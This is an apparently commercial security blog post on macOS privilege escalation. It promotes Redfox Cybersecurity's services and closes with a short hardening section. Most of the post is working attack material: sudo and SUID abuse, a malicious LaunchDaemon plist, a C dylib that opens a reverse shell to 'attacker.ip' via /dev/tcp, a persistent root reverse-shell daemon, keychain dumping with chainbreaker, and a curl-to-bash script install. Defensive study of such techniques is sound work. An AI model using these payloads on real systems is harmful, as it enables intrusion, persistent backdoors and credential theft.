macOS is often perceived as inherently secure, a reputation built on Unix foundations, Gatekeeper, SIP (System Integrity Protection), and a tightly controlled software ecosystem. But that reputation creates complacency. In enterprise environments and red team engagements alike, macOS systems are increasingly targeted, and privilege escalation on macOS is a well-documented, highly practical attack path.
This post covers the real mechanics of macOS privilege escalation: the techniques attackers use, the commands they run, the misconfigurations they exploit, and what defenders need to know to stay ahead.
If your organization relies on macOS endpoints and you want a professional assessment of your exposure, the team at Redfox Cybersecurity offers macOS-focused penetration testing and endpoint security reviews.
Before diving into exploitation, it helps to understand what macOS is protecting and how.
/System, /usr, /bin, and /sbin, even for the root user.These controls are well-designed, but they depend on correct configuration, updated software, and the absence of logic flaws in third-party software and system services.
The most straightforward escalation path on any Unix-like system is a misconfigured sudoers file. On macOS, this is no different.
Check what the current user can run with sudo:
sudo -l
[cta]
If you see output like:
(ALL) NOPASSWD: /usr/bin/python3
[cta]
That means you can run Python as root without a password. Escalation is trivial:
sudo python3 -c 'import os; os.system("/bin/bash")'
[cta]
Attackers routinely check for NOPASSWD entries, unrestricted binary permissions, and writable scripts that are called with elevated privileges.
macOS, like Linux, supports setuid binaries. A SUID binary runs with the file owner's privileges regardless of who executes it.
Find SUID binaries:
find / -perm -4000 -type f 2>/dev/null
[cta]
Find SGID binaries:
find / -perm -2000 -type f 2>/dev/null
[cta]
Third-party software often installs SUID binaries without following least privilege principles. If such a binary is exploitable, it becomes a direct path to root.
macOS uses launchd as its init system. LaunchDaemons run as root and are defined by property list (plist) files. If any of these plists or the binaries they reference are writable by a non-root user, you have a privilege escalation path.
List all LaunchDaemons:
ls -la /Library/LaunchDaemons/
[cta]
Check for world-writable or user-writable plist files:
find /Library/LaunchDaemons /Library/LaunchAgents ~/Library/LaunchAgents -writable 2>/dev/null
[cta]
If you can modify a plist that runs as root, replace the program path with your payload. On the next boot or service restart, your code executes as root.
Example of a malicious plist substitution:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.legitimate.service</string>
<key>ProgramArguments</key>
<array>
<string>/tmp/backdoor.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
[cta]
This is one of the most impactful and underappreciated vectors in macOS environments. Redfox Cybersecurity regularly identifies writable LaunchDaemon configurations during endpoint assessments. If you want to know whether your fleet is exposed, schedule a review here.
macOS applications load dynamic libraries (dylibs) at runtime. If an application searches for a dylib in a location where a low-privileged user has write access, an attacker can plant a malicious dylib that gets loaded with the application's privileges.
Check dylib load paths for an application using otool:
otool -L /Applications/SomeApp.app/Contents/MacOS/SomeApp
[cta]
Check the dylib search order with:
DYLD_PRINT_LIBRARIES=1 /Applications/SomeApp.app/Contents/MacOS/SomeApp 2>&1 | head -20
[cta]
If the application tries to load a dylib from /usr/local/lib/ before /usr/lib/, and /usr/local/lib/ is writable, you can plant a malicious library there.
A minimal malicious dylib in C:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void pwn() {
setuid(0);
system("/bin/bash -i >& /dev/tcp/attacker.ip/4444 0>&1");
}
[cta]
Compile it as a shared library:
gcc -dynamiclib -o /usr/local/lib/TargetLibrary.dylib malicious.c
[cta]
Note: SIP limits this on system binaries, but third-party applications are frequently vulnerable.
If a script or binary running as root calls another binary using a relative path (e.g., python instead of /usr/bin/python), and the attacker can prepend a writable directory to the PATH, they can redirect execution.
Check the effective PATH in privileged scripts:
cat /etc/profile
cat /etc/paths
cat ~/.zshrc
[cta]
If a cron job or LaunchDaemon script contains:
#!/bin/bash
backup_tool --run
[cta]
And backup_tool is resolved via PATH rather than absolute path, placing a malicious backup_tool in a directory earlier in PATH achieves code execution as root.
TCC (Transparency, Consent, and Control) governs access to protected resources. Bypassing TCC allows access to the filesystem, camera, microphone, or other sensitive resources without user consent.
Check the TCC database (requires Full Disk Access or root):
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client, service, auth_value FROM access;"
[cta]
Historical TCC bypasses have included injection into trusted processes like Finder, Terminal, or Accessibility-enabled applications. Once inside a trusted process, the injected code inherits its TCC permissions.
This is an evolving area with CVEs published regularly. Keeping macOS updated is the primary mitigation, but application-level controls matter equally.
Once root access is obtained, attackers typically pursue one or more of the following objectives.
SIP can only be disabled from Recovery Mode:
csrutil disable
[cta]
After disabling SIP and rebooting into normal mode, attackers gain write access to protected paths. This is a less common remote attack but a real risk in physical access scenarios or when chaining with a bootloader vulnerability.
cat << 'EOF' > /Library/LaunchDaemons/com.system.update.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.system.update</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/attacker.ip/4444 0>&1</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
</dict>
</plist>
EOF
launchctl load /Library/LaunchDaemons/com.system.update.plist
[cta]
This provides persistent root-level command-and-control that survives reboots.
The macOS Keychain stores passwords, certificates, and tokens. With root access, the keychain database can be accessed directly:
security dump-keychain -d login.keychain
[cta]
For automated credential extraction, tools like chainbreaker parse Keychain database files offline:
python3 chainbreaker.py --password="" /Users/target/Library/Keychains/login.keychain-db
[cta]
Several tools are commonly used by security professionals during macOS assessments.
While linPEAS is Linux-focused, its macOS-compatible variant and standalone macOS enumeration scripts check for common misconfigurations:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
[cta]
SwiftBelt is a macOS-native enumeration tool written in Swift that avoids spawning suspicious child processes:
./SwiftBelt
[cta]
It enumerates running processes, environment variables, keychain metadata, browser history locations, and installed security products.
Venator performs local privilege escalation checks on macOS and reports exploitable conditions:
./Venator
[cta]
These tools are valuable for red team engagements and should be part of any structured macOS security review. Redfox Cybersecurity incorporates both automated tooling and manual analysis in its macOS endpoint assessments.
Audit /etc/sudoers and drop-in files under /etc/sudoers.d/:
visudo -c
cat /etc/sudoers
ls /etc/sudoers.d/
[cta]
Remove any NOPASSWD entries unless explicitly required. Restrict which binaries can be run with elevated privileges to the absolute minimum.
csrutil status
[cta]
SIP should always read enabled. If it does not, treat the system as compromised until investigated.
find /Library/LaunchDaemons /Library/LaunchAgents \
~/Library/LaunchAgents -type f -name "*.plist" | \
xargs -I {} sh -c 'echo "=== {} ===" && plutil -p "{}"'
[cta]
Review every entry. Remove or disable any that cannot be attributed to a known, trusted application.
Mobile Device Management (MDM) solutions like Jamf allow centralized enforcement of security policies across macOS fleets: enforcing FileVault, controlling software installation, pushing configuration profiles, and monitoring for drift.
Review which applications hold sensitive TCC permissions:
tccutil reset All
[cta]
And audit current grants using the TCC database query shown earlier. Revoke access for applications that do not legitimately need it.
macOS is a capable and relatively secure platform, but it is not immune to privilege escalation. The attack surface includes misconfigured sudo rules, weak file permissions on LaunchDaemons, dylib hijacking in third-party applications, and TCC bypasses that expose sensitive data without any visible prompt to the user.
Organizations running macOS at scale need to treat endpoint security as an ongoing discipline, not a one-time configuration. That means regular audits, hardened baselines enforced through MDM, and periodic red team assessments that simulate real attacker behavior.
Redfox Cybersecurity provides structured macOS security assessments that go beyond automated scanning. Their team manually reviews LaunchDaemon configurations, application entitlements, privilege boundaries, and detection coverage to give you an accurate picture of your actual risk. To get started, visit https://redfoxsec.com/services.